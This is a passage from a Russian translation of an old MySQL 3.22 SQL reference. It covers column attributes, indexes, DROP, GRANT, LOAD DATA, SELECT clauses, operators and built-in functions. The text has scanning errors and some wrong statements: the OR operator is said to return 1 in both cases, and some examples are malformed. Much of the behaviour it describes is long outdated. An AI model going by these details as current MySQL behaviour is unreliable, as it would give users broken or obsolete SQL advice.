
Этот атрибут доступен для типа FLOAT в целях совместимости с системой ODBC. Значение этого атрибута, равное 4, указывает на обычное вещественное число (то же, что и FLOAT без атрибута точности), а значение 8 определяет число с плавающей запятой двойной точности (то же, что поле DOUBLE).

AUTO_INCREMENT

Атрибут позволяет автоматически обновлять числовое поле. Это удобно для создания уникальных идентификаторов для записей в таблице. Данные могут быть записаны и прочитаны из такого поля, как из обычного, но при вводе значения NULL или 0 существующее значение автоматически увеличивается на единицу. Текущее значение поля AUTO_INCREMENT может быть получено с помощью функции LAST_INSERT_ID (см. SELECT ниже).

BINARY

Атрибут используется с типами CHAR и VARCHAR- для указания на двоичные данные в текстовой строке. Единственным эффектом этого атрибута будет чувствительность к регистру при сортировке данных. По умолчанию MySQL игнорирует регистр при сортировке текста.

DEFAULT value

Атрибут приписывает полю значение по умолчанию. Это значение будет присвоено полю в случае, если во вводимой в таблицу записи это поле пустое. Если значение по умолчанию не определено и нет ограничения NOT NULL , то будет записано значение NULL. В случае NOT NULL MySQL запишет значение на основе типа поля.

NOT NULL

Этот атрибут гарантирует, что каждая запись в столбце будет иметь какое-либо, отличное от NULL, значение. Попытка вставить в такое поле значение NULL вызовет ошибку.

NULL

Атрибут указывает на допустимость значения NULL. Это атрибут по умолчанию в случае, если никакой атрибут не указан. Поля, входящие в состав индекса, не могут иметь атрибут NULL. (Он будет проигнорирован, даже если он указан.)

PRIMARY KEY

Атрибут автоматически делает поле первичным ключом таблицы. Таблица может иметь только один первичный ключ (см. ниже). Любое поле, являющееся первичным ключом, должно иметь атрибут NOT NULL.

REFERENCES table [(column, . . . )] [MATCH FULL | MATCH PARTIAL] [ON

DELETE option] [ON UPDATE option]

Атрибут в настоящее время не имеет эффекта. MySQL понимает полный синтаксис команды, но не обрабатывает ее. Этот модификатор поля поддерживается для облегчения импорта SQL из разных источников. Возможно также, что следующая версия MySQL будет полностью поддерживать эту функцию.

UNSIGNED

Этот атрибут используется с целочисленными типами для указания на беззнаковое целое. Максимальное значение беззнакового целого вдвое превосходит свой аналог со знаком, но не может хранить отрицательные числа. Без модификатора все типы считаются знаковыми.

ZEROFILL

Атрибут используется с целочисленными типами для добавления нулей перед числом, пока не будет достигнута длина, максимальная для типа. Например, поле counter INT(5) ZEROFILL покажет число 132 как 00132.

Indexes

MySQL поддерживает концепцию индексирования таблиц, как описано в главе 2, «Проектирование баз данных». Индексы создаются посредством особых «типов», включенных в определение таблицы.

KEY/INDEX [name] (column, [column2, . . . ])

Создает обычный индекс для всех столбцов с именами. (KEY и INDEX в этом контексте будут синонимами.) Индексу может быть дано имя (не обязательно). Если имя не указано, будет приписано имя, основанное на имени первого столбца, и, если это необходимо для поддержания уникальности, к имени будет добавлена цифра. Если в индекс входит более одного столбца, то все столбцы слева будут объединены в подгруппы и проиндексированы. Обратите внимание на следующее определение индекса: INDEX idxl ( name, rank, serial );

При создании этого индекса будут проиндексированы следующие группы столбцов:

  • name, rank, serial
  • name, rank name

PRIMARY KEY

Создает первичный ключ. Первичный ключ — это особый ключ, который может быть только один для каждой таблицы. По сути, первичный ключ- это уникальный (UNIQUE) ключ с именем «PRIMARY». Несмотря на привилегированный статус, он функционирует как любой другой уникальный ключ.

UNIQUE [nаmе] (column, [column2, . , . ])

Создает особый индекс, все входящие значения которого должны быть уникальными (и соответственно они уникальны в индексированных полях). Попытка ввести существующее значение в уникальный индекс вызовет ошибку. Следующая команда создает уникальный индекс поля «nicknames»:

UNIQUE (nicknames);

В существующей реализации индексирования в MySQL значение NULL не допускается ни в одном из полей, входящих в индекс.

При индексировании текстовых полей (CHAR, VARCHAR и их синонимы) возможно индексирование только первой части всего поля. Например, следующая команда создаст индекс числового поля 'id' вместе с первыми 20 символами текстового поля 'address':

INDEX adds ( id, address(20) );

При выполнении любого поиска в поле 'address' для сравнения будут использованы только первые 20 символов до тех пор, пока не встретится более одного совпадения. Поэтому можно получить большой выигрыш в производительности, если использовать для индексирования только некоторое количество символов текстового поля, которые, по вашему мнению, дадут уникальные значения.

Поля, входящие в индекс, должны быть определены с атрибутом NOT NULL (см. выше). При создании индекса отдельной командой MySQL сгенерирует ошибку, если NOT NULL не указан. Однако при определении первичного ключа добавлением атрибута PRIMARY KEY к описанию таблицы, атрибут NOT NULL будет добавлен автоматически (без предупреждения), если он не указан явно.

В добавление к описанным выше MySQL содержит следующие специальные «типы»:

  • FOREIGN KEY ( name (column, [column2, . . . ])
  • CHECK

Эти ключевые слова не выполняют никаких действий. Они существуют для более легкого чтения SQL-кода, экспортированного из других баз данных. Также некоторая отсутствующая пока функциональность может быть добавлена в следующие версии MySQL.

У вас должны быть право CREATE для базы данных, где используется предложение CREATE TABLE .

Примеры

# Создать новую пустую базу данных 'employees'

CREATE DATABASE employees;

# Создать простую таблицу

CREATE TABLE empjata ( id INT, name CHAR(50) );

# Создать функцию make_coffee (которая хранится в библиотеке myfuncs.so

# и возвращает строковое значение).

CREATE FUNCTION make_coffee RETURNS string SONAME "myfuncs.so";

DELETE

DELETE FROM table [WHERE clause]

Удаляет запись из таблицы. При использовании без предложения WHERE будет полностью удалена вся таблица, а затем будет создана новая пустая таблица. С использованием WHERE будут удалены записи, отвечающие условиям выражения. Предложение DELETE возвращает пользователю количество удаленных записей.

Как сказано выше, при использовании без выражения WHERE, будет удалена вся таблица. Этот эффективный метод значительно быстрее, чем удаление каждой записи по отдельности. При использовании этого метода MySQL вернет пользователю значение 0, так как нет способа узнать количество удаленных записей. В существующей реализации этот метод просто удаляет все файлы, относящиеся к таблице, кроме файла с ее определением. Поэтому этот метод удобен для обнуления таблиц с серьезно поврежденными данными (которые невозможно восстановить). Вы потеряете данные, но структура таблицы будет сохранена.

Для использования следующего выражения у вас должно быть право DELETE для БД.

Примеры

# Удалить все данные из таблицы 'olddata1 (но не саму таблицу).

DELETE FROM olddata

# Удалить все записи из таблицы 'sales', где поле 'year' равно '1995'.

DELETE FROM sales WHERE year=1995

DESCRIBE

DESC

DESCRIBE table [column] DESC table [column]

Выдает информацию о таблице или столбце. Хотя операция работает как описано, ее функциональные возможности (и многие другие) доступны в операторе SHOW. Оператор DESC поддерживается исключительно для совместимости с Oracle SQL. Имя столбца (не обязательное) может содержать знаки подстановки SQL, в этом случае будет выдана информация о всех подходящих столбцах.

Пример

# Описать таблицу 'messy'

DESCRIBE messy

# Показать информацию о всех столбцах таблицы 'big1 начинающихся с 'mу_'.

# Помните что ' ' является также знаком подстановки и следует избегать,

# его буквального употребления.

DESC big my\_%

DROP

DROP DATABASE name

DROP INDEX name

DROP TABLE [IF EXISTS] name[, name2, ...]

DROP ФУНКЦИЯ name

Удаляет базу данных, таблицу, индекс или функцию из системы MySQL. .

DROP DATABASE

Удаляет всю базу и все файлы, связанные с ней. Пользователю возвращается количество удаленных файлов. Так как большинство таблиц представлено тремя файлами, обычно возвращаемое значение равно числу таблиц, умноженному на три. Эквивалент выполнению утилиты mysqladmin drop. Для выполнения команды, так же как и при запуске утилиты mysqladmin, у вас должны быть права администратора MySQL (обычно root или mysql).

DROP INDEX

Команда поддерживается для совместимости с другими реализациями SQL. В старых версиях SQL эта команда ничего не выполняет. В версии 3.22 это предложение эквивалентно ALTER TABLE . . DROP INDEX. Для выполнения DROP INDEX вы должны иметь право SELECT, INSERT, DELETE, UPDATE, CREATE и DROP для этой таблицы.

DROP TABLE

Полностью стирает таблицу. В текущей реализации MySQL просто удаляет связанные с таблицей файлы. В версии 3.22, вы можете указать IF EXISTS , чтобы MySQL не возвращала ошибку при попытке удалить несуществующую таблицу. Для выполнения этой операции необходимо право DELETE на таблицу.

DROP FUNCTION

Удалит пользовательскую процедуру из выполняемого процесса MySQL. При этом файл библиотеки, содержащий процедуру, не удаляется. Вы всегда можете добавить эту функцию снова с помощью CREATE FUNCTION . В текущей реализации DROP FUNCTION просто удаляет пользовательскую функцию из таблицы функций БД MySQL, следящей за всеми активированными функциями.

Для выполнения этой операции необходимо право DROP на таблицу.

DROP - это, возможно, самое опасное из выражений SQL. Если вы имеете право на выполнение команд DROP, вы можете полностью стереть таблицу или даже целую базу данных. Это произойдет без предупреждения или запроса на подтверждение. Единственный способ отменить DROP - восстановление базы из резервной копии. Мораль отсюда такова: (1) всегда сохраняйте резервную копию базы (backup); (2) если в чем-то не уверены, - не используйте DROP; и (3) всегда сохраняйте резервную копию базы данных.

Примеры

# Полностью стереть с лица Земли БД 'important_data'.

DROP DATABASE important_data

# Удалить таблицы 'oh_no', 'help_me' и 'dont_do_it'

DROP TABLE oh_no, help_me, dont_do_it

#Удалить индекс с именем 'my_index' DROP INDEX my_index

# Удалить из работающего сервера БД функцию 'myfunc'. Она может быть

# добавлена обратно в любой момент с помощью CREATE FUNCTION.

DROP ФУНКЦИЯ myfunc

EXPLAIN

EXPLAIN SELECT statement

Выводит информацию о структуре и порядке выполнения запроса SELECT. Это может быть полезно для определения эффективности использования ключей.

Пример

EXPLAIN SELECT customer.name, product.name FROM customer, product,

purchases

WHERE purchases.customer=customer.id AND purchases.product=product.id

FLUSH

FLUSH option[, option...]

Перезапускает различные внутренние процессы или сбрасывает данные на диск, в зависимости от указанного параметра. Для выполнения этой операции необходимо иметь право reload . Допустимы следующие параметры:

HOSTS

Обнуляет таблицу в кэше, хранящую информацию об именах клиентских хостов. Этот параметр следует использовать, если клиент поменял IP-адрес или есть ошибки, касающиеся установки связи с хостом.

LOGS

Закрывает все обычные файлы журналов и открывает их заново. Используется при смене номера индексного дескриптора. Если обновленному журналу не дано особое расширение, новый файл будет иметь расширение, увеличенное на единицу.

PRIVILEGES

Перезагружает все внутренние таблицы разрешений MySQL. Это делается для вступления в силу любых изменений, сделанных в этих таблицах.

STATUS

Обнуляет все переменные, которые следят за состоянием сервера.

TABLES

Закрывает все открытые таблицы и сбрасывает все кэшированные данные на диск.

GRANT

GRANT privilege [ (column, ...) ] [, privilege [( column, ...) ] ...]

ON {table} TO user [IDENTIFIED BY 'password']

[, user [IDENTIFIED BY 'password'] ...] [WITH GRANT OPTION]

До версии MySQL 3.22.11 оператор GRANT распознавался, но не выполнялся. В текущих версиях функциональность присутствует. Этот оператор дает пользователю (или пользователям) права доступа. Возможно предоставление прав доступа на базу данных, таблицу или на отдельный столбец. Параметр table может быть указан как имя таблицы в текущей базе; как '*', и тогда будут предоставлены права на все таблицы текущей базы; как '*. *' - права на все таблицы во всех имеющихся базах; или как 'database. *', что будет иметь эффект для всех таблиц указанной базы данных.

В настоящий момент поддерживаются следующие права:

ALL PRIVILEDGES/ALL

Все права доступа.

ALTER

Изменение структуры таблиц.

CREATE

Создание новых таблиц.

DELETE

Удаление записей из таблиц.

DROP

Удаление таблиц целиком.

FILE

Создание и удаление целых БД, а также управление файлами журналов.

INDEX

Создание и удаление индексов в таблицах.

INSERT

Ввод данных в таблицы.

PROCESS

Завершение потоков.

REFERENCES (Справочник)

Пока не реализовано.

RELOAD

Обновление различных внутренних таблиц (см. оператор FLUSH).

SELECT

Чтение данных из таблицы.

SHUTDOWN

Выключение (Shut down) сервера базы данных.

UPDATE

Модификация записей внутри таблиц.

USAGE

Нет никаких прав.

Переменная user имеет вид user@hostname (пользователь@имя хоста). И user, и hostname могут включать в себя знаки подстановки SQL. При их использовании должно быть заключено в кавычки либо полностью имя, либо только часть с подстановочными знаками (например, joe@"%. com" и «joe@%.com» одинаково правильны). Использование user без hostname равносильно использованию user@«%».

Если у вас есть право GRANT, вы можете указать необязательный параметр INDENTIFIED BY . Если описываемого пользователя не существует, он будет создан вместе с указанным паролем. Иначе будет изменен пароль существующего пользователя.

Право GRANT задается с помощью спецификатора WITH GRANT OPTION . После его выполнения пользователь сможет предоставить любое из имеющихся у него прав другому пользователю.

INSERT

INSERT [DELAYED | LOW_PRIORITY ] [INTO] table [ (column, ...) ] VALUES ( values )

[, ( values )... ]

INSERT [LOW_PRIORITY] [INTO] table [ (column, ...) ] SELECT ...

INSERT [LOW_PRIORITY] [INTO] table SET column=value, column=value,...

Записывает данные в таблицу. Первый вариант оператора просто вставит указанные значения в указанные столбцы. Поля, значения которых не определены, получат значение по умолчанию либо NULL. Второй вариант вставляет в таблицу результат запроса SELECT. Третий вариант является альтернативной формой первого, с более явным указанием того, каким полям какое, значение придать. Если INSERT первого вида написан со спецификатором DELAYED, все входящие запросы SELECT имеют приоритет перед оператором INSERT, он будет ждать окончания их действия перед добавлением данных. Таким же образом использование спецификатора LOW_PRIORITY с любой из форм INSERT приведет к тому, что добавление записей будет отложено до окончания всех других операций клиента.

Невозможно применить выражение ORDER BY вместе с запросом SELECT, используемым внутри оператора INSERT. Также вы не можете добавлять данные в таблицы, из которых осуществляется выборка. Начиная с версии 3.22.5 MySQL позволяет вставлять более одной записи в таблицу за один раз. Это делается путем добавления дополнительного списка значений, разделенных запятыми.

У вас должно быть право INSERT для использования этого оператора.

Примеры

# Вставить запись в таблицу 'people'

INSERT INTO people ( name, rank, serial_number )

VALUES ( 'Bob Smith', 'Captain', 12345 );

# Скопировать все записи, которые старше определенной даты, из таблицы

# 'data' в таблицу 'old_data'. Обычно за этим следует удаление старых

# записей из 'data'.

INSERT INTO old_data ( id, date, field ) SELECT ( id, date, field) FROM data WHERE date < 87459300;

# Вставить З новые записи в таблицу 'people'.

INSERT INTO people (name, rank, serial_number ) VALUES ( 'Tim OVReilly', 'General', 1), ('Andy Oram', 'Major', 4342), ('Randy Yarger', 'Private', 9943);

KILL

KILL thread_id

Завершает указанный поток. ID потоков можно выяснить с помощью оператора SHOW PROCESSES . Завершение потоков, которые принадлежат не вам, а другим пользователям, требует права process .

Пример

# Завершить поток 3 KILL 3

LOAD

LOAD DATA [LOCAL] INFILE file [REPLACE|IGNORE] INTO TABLE table [delimiters] [(columns)]

Читает текстовый файл и вставляет данные в таблицу. Такой метод ввода данных гораздо быстрее, чем использование многих операторов INSERT. Хотя эта команда может быть вызвана с любого клиента, как и все остальные операторы SQL, считается, что указанный в предложении файл находится на сервере. Если путь к файлу полностью не указан, MySQL ищет его в том же каталоге, где расположена база данных. В версии MySQL3.22, при наличии спецификатора LOCAL, файл будет прочитан из локальной файловой системы клиентской машины.

Без указанных разделителей (delimiters) оператор LOAD DATA INFILE будет считать, что текстовые поля в файле разделены символом табуляции, особые символы набраны через обратную косую черту (так называемый бэкслэш - «\»), и строки заканчиваются символом конца строки.

Также можно указать собственные разделители с помощью следующих ключевых слов:

FIELDS TERMINATED BY 'с'

Определяет символ, используемый для разделения полей. Чтобы указать специальные символы, можно использовать стандартные управляющие коды языка С. Значение может содержать более одного символа. Например, FIELDS TERMINATED BY ', ' означает файл, разделенный запятыми, a FIELDS TERMINATED BY '\t' обозначает разделения табуляцией. Разделение табуляцией является значением по умолчанию.

FIELDS ENCLOSED BY 'с'

Определяет символ для объединения символьной строки. Например, FIELD ENCLOSED BY '' будет означать, что строка, содержащая "this, value", "this", "value" , будет записана в базу как три поля: "this,value", "this", и "value". По умолчанию считается, что в файле не используются кавычки.

FIELDS ESCAPED BY 'с'

Определяет символ, указывающий на то, что символ, следующий за ним, является простым, даже если обычно он считался бы управляющим. Например, FIELDS ESCAPED BY ' приведет к тому, что строка "First, Second",Third, Fourth" будет прочитана как три поля: "First", "Second,Third" и "Fourth" . Исключением являются символы нуля. Например, если FIELDS ESCAPED BY имеет значение обратной косой черты, то \0 указывает на ASCII NULL (символ с номером 0), и \N указывает на значение null в MySQL. Символ обратной косой черты является значением по умолчанию для этого параметра. Обратите внимание, что MySQL рассматривает его как спецсимвол. И если вам необходимо использовать его в этом выражении, следует отделить его еще одной обратной косой чертой: FIELDS ESCAPED BY '\\' .

LINES TERMINATED BY 'C'

Определяет символ для указания на начало новой строки. Значением могут быть несколько символов. Например, при LINES TERMINATED BY '.', файл, состоящий из а, b, с, d, e, f, g, h, k. , будет прочитан как три отдельные записи, с тремя полями в каждой. По умолчанию используется символ новой строки. Это означает, что по умолчанию MySQL считает каждую строку отдельной записью.

Ключевое слово FIELDS следует использовать только для всего выражения. Например:

LOAD DATA INFILE data.txt FIELDS TERMINATED BY ','ESCAPED BY '\\'.

По умолчанию, если прочитанное из файла значение совпадает с уже имеющимся и является при этом частью уникального ключа, будет выдана ошибка. Если в выражении есть ключевое слово REPLACE, значение из файла заменит имеющееся в таблице. Ключевое слово IGNORE приведет к игнорированию нового значения и сохранению старого.

Найденное в файле слово NULL считается указанием на пустое значение, если только оно не выделено символами, указанными в команде

FIELDS ENCLOSED BY .

Использование одного символа для разных разделителей может смутить MySQL. Например, FIELDS TERMINATED BY ',' ENCLOSED BY ', ' приведет к непредсказуемому поведению.

Если задан список столбцов, данные будут записаны именно в эти поля. Если столбцы не указаны, число полей в файле с данными должно совпадать с числом полей в таблице, и они должны идти в том же порядке, что и поля в таблице.

Для выполнения этого оператора вы должны обладать правами SELECT и INSERT.

Пример

# Загрузить данные из файла 'mydata.txt' в таблицу 'mydata'. Считается,

# что поля отделены табуляцией и не заключены в кавычки.

LOAD DATA INFILE 'mydata.txf INTO TABLE mydata

#Загрузить данные из 'newdata.txt'. Найти два поля выделенных запятыми и

# вставить

# их значения в поля 'field"!' и 'field2' в таблице 'newtable'.

LOAD DATA INFILE 'newdata.txt' INTO TABLE newtable FIELDS TERMINATED BY

( field"!, -field2 )

LOCK

LOCK TABLES name [AS alias] READ|WRITE [, name2 [AS alias] READ|WRITE, ...]

Блокирует таблицу для ее использования отдельным потоком. В основном эта команда используется для эмуляции транзакций, как это описано в главе 7 «Другие СУБД среднего масштаба». Если поток создал блокировку READ, все остальные потоки могут читать из таблицы, но записывать в таблицу может только один, контролирующий поток. При создании блокировки WRITE ни один из остальных потоков не может ни читать, ни изменять таблицу.

Одновременное использование заблокированных и незаблокированных таблиц может привести к зависанию потока. Вы должны заблокировать все таблицы, к которым осуществляется доступ во время блокировки. Этого не требуют таблицы, доступ к которым происходит только до или после блокирования. Последние версии MySQL выдадут ошибку при попытке доступа к незаблокированной таблице, если в это время имеются другие, блокированные таблицы.

Пример

# Заблокировать на запись таблицы 'table1' и 'table3'. Заблокировать

# любой доступ к таблице

# 'table2'. Также для таблицы 'table3'создать псевдоним 't3' для текущего

# потока.

LOCK TABLES table1 READ, table2 WRITE, tables AS t3 READ

OPTIMIZE

OPTIMIZE TABLE name

Обновляет таблицу, удаляя любое неиспользуемое пространство. Оптимизируемая таблица создается заново как отдельная временная таблица, а затем помещается на место текущей таблицы. Все табличные операции в это время происходят как обычно (вносимые изменения записываются во временную таблицу).

Пример

OPTIMIZE TABLE mytable

REPLACE

REPLACE INTO table [(column, ...)] VALUES (value, ....)

REPLACE INTO table [(column, ...)] SELECT select_clause

Вводит данные в таблицу, заменяя при этом все записи, вызывающие конфликт. Этот оператор аналогичен INSERT за исключением того, что при конфликте нового значения с существующим уникальным ключом новое значение будет записано вместо старого. Первый вариант оператора просто вставит указанные значения в указанные поля. Поля, значения которых не определены, получат значение по умолчанию либо NULL. Второй вариант вставляет в таблицу данные, полученные в результате запроса SELECT.

Примеры

# Вставить запись в таблицу 'people'.

REPLACE INTO people ( name, rank, senal_number ) VALUES ( 'Bob Smith', 'Captain', 12345 )

# Скопировать все записи, которые старше определенной даты, из

# таблицы 'data' в таблицу 'old_data'. Обычно за этим следует удаление

# старых записей из 'data'

REPLACE INTO old_data ( id, date, field )

SELECT ( id, date, field) FROM data WHERE date < 87459300

REVOKE

REVOKE privilege [(column, ...)] [, privilege [(column, ...) ,..] ON table FROM user

Отзывает права у пользователя. Значения privilege, table и user те же, что в операторе GRANT. У вас должно быть право GRANT для выполнения этого оператора.

SELECT

SELECT [STRAIGHTJOIN] [DISTINCT|ALL] value[, value2...]

[INTO OUTFILE 'filename' delimiters] FROM table[, table2...] [clause]

Выбирает данные из таблицы. Оператор SELECT является основным методом чтения данных из таблиц баз данных.

Если вы укажете несколько таблиц, MySQL автоматически объединит таблицы таким образом, что вы сможете сравнить значения в них. В случае если MySQL недостаточно эффективно выполняет соединение, вы можете указать предикат (ключевое слово) STRAIGHT_JOIN и заставить сервер объединить таблицы в порядке, заданном в запросе. Если указано ключевое слово DISTINCT, будет показана только одна запись из каждой группы одинаковых записей возвращаемого набора. Ключевое слово ALL, напротив, выдаст все возвращенные записи. По умолчанию действует ALL.

Возвращаемые значения могут быть следующего вида:

Aliases

Любые сложные имена столбцов или функций можно упростить, создав для них псевдонимы (alias). Внутри оператора SELECT к значению можно всегда обратиться по его псевдониму с любого места. (Например, SELECT DATE_FORMAT(date, "%W, %M %d %Y") as nice_date FROM calendar .)

Column names

Имена столбцов могут быть определены как column, table.column или database, table.column . Длинные формы необходимы только для того, чтобы отличать столбцы с одинаковыми именами, но их можно использовать в любое время (например, SELECT name FROM people; SELECT mydata.people.name FROM people ).

Functions

MySQL предлагает богатый выбор встроенных функций (см. ниже). Также всегда можно с помощью команды CREATE FUNCTION добавить пользовательские функции (например, SELECT COS(angle) FROM triangle).

По умолчанию MySQL возвращает все результаты запроса пользователю, сделавшему этот запрос. Однако возможно и перенаправление результатов запроса в файл. Таким образом, можно сбросить содержимое таблицы (или выбранную из нее часть) в файл, который будет прочитан человеком либо отформатирован для легкой загрузки в другую СУБД.

Спецификатор INTO OUTFILE 'filename' delimiters выполняет перенаправление. При его наличии результат запроса SELECT будет помещен в файл, указанный в filename. Формат этого файла определяется аргументами delimiters , которые практически те же, что у оператора LOAD DATA INFILE , но со следующими дополнениями:

  • К спецификатору FIELDS ENCLOSED BY можно добавить ключевое слово OPTIONALLY . MySQL будет в этом случае считать, что данные, заключенные в кавычки (или другие указанные символы), являются строками, а прочие данные примет за числовые.
  • Удаление всех разделителей полей (т. е. FIELDS TERMINATED BY ENCLOSED BY ' ' ) приведет к использованию формата с фиксированной шириной. Данные будут экспортированы в соответствии с экранными размерами каждого поля. Этот формат понимают многие настольные СУБД и электронные таблицы.

По умолчанию при экспорте данных без разделителей будет внесено по одной записи на каждую строку, использовано разделение табуляцией и символ обратной косой черты (\) в качестве экранирующего символа.

Список используемых таблиц может быть указан следующими способами:

Table1, Таblе2, Таblе3, . . .

Это самый простой метод. Таблицы соединяются так, как MySQL сочтет наиболее эффективным. Этот способ может быть также записан в виде: Table1 JOIN Table2 JOIN Таblе3..... , можно использовать ключевое слово CROSS, но оно не имеет эффекта (например, Table1 CROSS JOIN Table2 ). В объединенную таблицу войдут только те записи, которые отвечают условиям обоих столбцов. Например, запрос SELECT * FROM people, homes WHERE people. id=homes. owner создавал бы объединенную таблицу, содержащую записи из таблицы people , у которых значение поля id совпадает с полем owner в таблице homes.

Как и значениям, именам таблиц тоже можно дать псевдонимы (например, SELECT tl.name, t2. address FROM long_table_name t1, longer_table_name t2).

Tablel STRAIGHT_JOIN Table2

Идентично первому методу, за исключением того, что таблица слева всегда читается раньше таблицы справа. Этот метод следует ис-

пользовать в случае, если MySQL выполняет сортировку неэффективно, соединяя таблицы в неправильном порядке.

Table 1 LEFT [OUTER] JOIN Table2 ОN clause

Сравнивает правую таблицу с выражением. Для каждой не соответствующей ему записи при соединении с левой таблицей будет использована запись, состоящая из значений NULL. В предыдущем примере SELECT * FROM people, homes LEFT JOIN people, homes ON people. id=homes. owner объединенная таблица содержала бы все записи, совпадающие в обеих таблицах, а также все записи таблицы people, которым нет соответствия в таблице homes; для соответствующих полей таблицы homes использовались бы значения NULL. Ключевое слово OUTER необязательно и не имеет эффекта.

Tablel LEFT [OUTER] JOIN Table2 USING (column[, column2. . . ])

Объединяет указанные столбцы, только если они есть в обеих таблицах (например, SELECT * FROM old LEFT OUTER JOIN new USING (id) ).

Tablel NATURAL LEFT [OUTER] JOIN Table2

Объединяет только те столбцы, которые существуют в обеих таблицах. Тот же эффект дает использование предыдущего способа с указанием всех столбцов, имеющихся в той и другой таблице. (Например, SELECT rich_people.salary, poor_people.salary FROM rich_people NATURAL LEFT JOIN poorjeople .)

{oj Tablel LEFT OUTER JOIN Table2 ON clause }

Это аналог выражения Table 1 LEFT JOIN Table2 ON clause, и поддерживается только для совместимости с ODBC («oj»заменяет «Outer Join»).

Если выражение не задано, SELECT вернет все данные из выбранных таблиц (таблицы).

Предложение отбора может содержать любые из следующих подфраз:

WHERE statement

Команда WHERE - это самый обычный способ выборки данных в SQL. Обычно фраза является сравнением какого-либо типа, но также может содержать любые из указанных ниже функций, кроме агрегатных. Также могут быть использованы имена, такие как имена столбцов и псевдонимы, числовые константы и строки. Поддерживаются следующие операторы:

()

Скобки используются для группировки операторов, чтобы указать старшинство.

+

Сложение двух числовых значений.

-

Вычитание двух числовых значений. *

Умножение двух числовых значений.

/

Деление двух числовых значений.

%

Выдает модуль двух числовых значений (определение остатка).

Осуществляет побитовое ИЛИ (OR) двух целочисленных значений.

&

Осуществляет побитовое И (AND) двух целочисленных значений.

<<

Осуществляет побитовый левый сдвиг целочисленного значения.

>>

Осуществляет побитовый правый сдвиг целочисленного значения.

NOT или !

Выполняет логическое НЕ (возвращает 1, если значение было 0, и наоборот).

OR или ||

Выполняет логическое ИЛИ (возвращает 1, если любой из аргу-мещов не равен 0, иначе возвращает 1).

AND или &&

Выполняет логическое И (вернет 0, если хоть один из аргументов равен 0, иначе вернет 1).

=

Выбирает запись, если значения совпадают. При сравнении MySQL автоматически производит преобразование типов.

<> или !=

Выбирает запись, если значения не совпадают.

<=

Выбирает записи, в которых значение слева от операнда меньше или равно правому.

<

Выбирает запись, если левое значение меньше правого.

>=

Выбирает записи, где значение слева от операнда больше или равно правому.

>

Выбирает записи, в которых значение слева от операнда больше правого.

value BETWEEN value1 AND value2

Выбирает записи, если value находится в диапазоне между valuel и value2 или равно одному из них.

value IN (valuel,value2,... )

Выбирает записи, если value находится среди указанных значений.

value NOT IN (value1, value2,.., )

Выбирает записи, если value не находится среди указанных значений.

valuel LIKE value2

Сравнивает value1и value2 и выбирает записи, где они совпадают. Значение справа может содержать знак подстановки ' %', которому удовлетворяет любое число символов (включая 0) и знак '_', заменяющий ровно один символ. Это, возможно, самое употребительное в SQL сравнение. Чаще всего используется сравнение поля с некоторым символом и знаком подстановки (например, SELECT name FROM people WHERE name LIKE 'B%' ).

valuel NOT LIKE value2

Сравнивает valuel и value2 и выбирает записи, где они не совпадают. Команда идентична NOT (valuel LIKE value2).

valuel REGEXP/RLIKE value2

Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и выбирает записи, если они совпадают. Значение справа может содержать полные подстановочные выражения и конструкции Unix (например, SELECT name FROM people WHERE name RLIKE '^B. *').

valuel NOT REGEXP value2

Сравнивает valuel и value2, используя расширенный синтаксис регулярных выражений, и выбирает записи, если они не совпадают. Команда идентична NOT (valuel REXEXP value2).

Предложение WHERE вернет все полученные в выражении значения, которые отличаются от 0 или NULL (т. е. все, что не является логически ложным). Поэтому SELECT age FROM people WHERE age>10 вернет только те записи, где возраст больше 10.

GROUP BY column[, column2,...]

Группирует вместе записи по значению данных в определенных столбцах, что позволяет выполнять агрегатные функции над столбцами columns (например, SELECT name, MAX(age) FROM people GROUP BY name ).

HAVING clause

Аналог выражения WHERE, но выполняется над уже полученными из базы данными. С помощью HAVING хорошо выполняются агрегатные функции над относительно небольшими наборами данных, -уже выбранными из больших таблиц. В этом случае будет идти работа не с целой таблицей, а только с выбранными данными (например, SELECT name, MAX(age) FROM people GROUP BY name HAVING MAX(age)>80 ).

ORDER BY column [ASC |DESC][, column2 [ASC |DESC], . . . ]

Сортирует возвращаемые данные по заданному столбцу (или столбцам). Если указать DESC, данные будут отсортированы по убыванию, иначе применяется сортировка по возрастанию. Сортировку по возрастанию можно задать и явным образом, указав ASC (например,

SELECT name, age FROM people ORDER BY age DESC ).

LIMIT [ start, ] rows

Возвращает только указанное количество записей. Значение start (необязательное) определяет на количество записей, которые надо пропустить перед выборкой данных. Нумерация записей начинается с нуля. (Например, SELECT url FROM links LIMIT 5,10 возвращает адреса URL с 5 по 14.)

PROCEDURE name

В mSQL и ранних версиях MySQL команда ничего не выполняет. Она поддерживалась для облегчения импорта данных из других SQL-серверов. Начиная с версии MySQL 3.22 эта фраза позволяет указать процедуру, модифицирующую результаты запроса перед их возвратом клиенту.

SELECT поддерживает концепцию функций. MySQL имеет ряд встроенных функций, способных оперировать с данными из таблиц, возвращая пользователю вычисляемое значение. Некоторые из функций могут вернуть значение как число или как строку, в зависимости от того, какой формат необходим пользователю. Эта возможность называется «контекстом» функции. Когда выбранные значения выводятся на дисплей, используется только текстовой контекст, но при вводе выбранных данных в поля таблиц или при использовании их в качестве аргументов других функций контекст зависит от того, что ожидается получателем данных. В частности, когда данные выбраны для их последующего ввода в поля числового типа, контекст функции будет числовым.

Далее приведены все встроенные в MySQL функции:

ABS(number)

Возвращает абсолютное значение числа number (например, ABS (-10) возвращает 10).

АCOS(number)

Возвращает арккосинус числа number в радианах (например, ACOS (0) возвращает 1.570796).

ASCII(char)

Возвращает ASCII код данного символа (например, ASCII (' h') вернет 104).

ASIN(number)

Возвращает арксинус числа number в радианах (например, ASIN (0) вернет 0.000000).

ATAN(number)

Возвращает арктангенс числа number в радианах (например, ATAN (1) вернет 0.785398).

ATAN2(X, Y)

Возвращает арктангенс точки (X, Y) (например, ATAN (-3,3) возвращает-0.785398).

СHAR(num1[,num2,. . .])

Возвращает строку, полученную в результате преобразования каждого из чисел в знак, соответствующий числовому ASCII коду (например, CHAR (122) возвращает'z').

CONCAT(string 1, string2 [, strings,. . . ])

Возвращает строку, сформированную соединением всех аргументов (конкатенация) (например, CONCAT('Hi',' ','Mom','!') вернет «Hi Mom!»).

CONV( number, basel, base2 )

Возвращает значение числа number, переведенного из системы счисления basel в base2. Число должно быть целочисленным (может быть задано собственно числом либо строкой). Система счисления задается любым целым числом от 2 до 36 (например, CONV (8,10,2) возвращает 1000 (число 8 в десятичной системе, приведенное к двоичному виду)).

BIN( decimal)

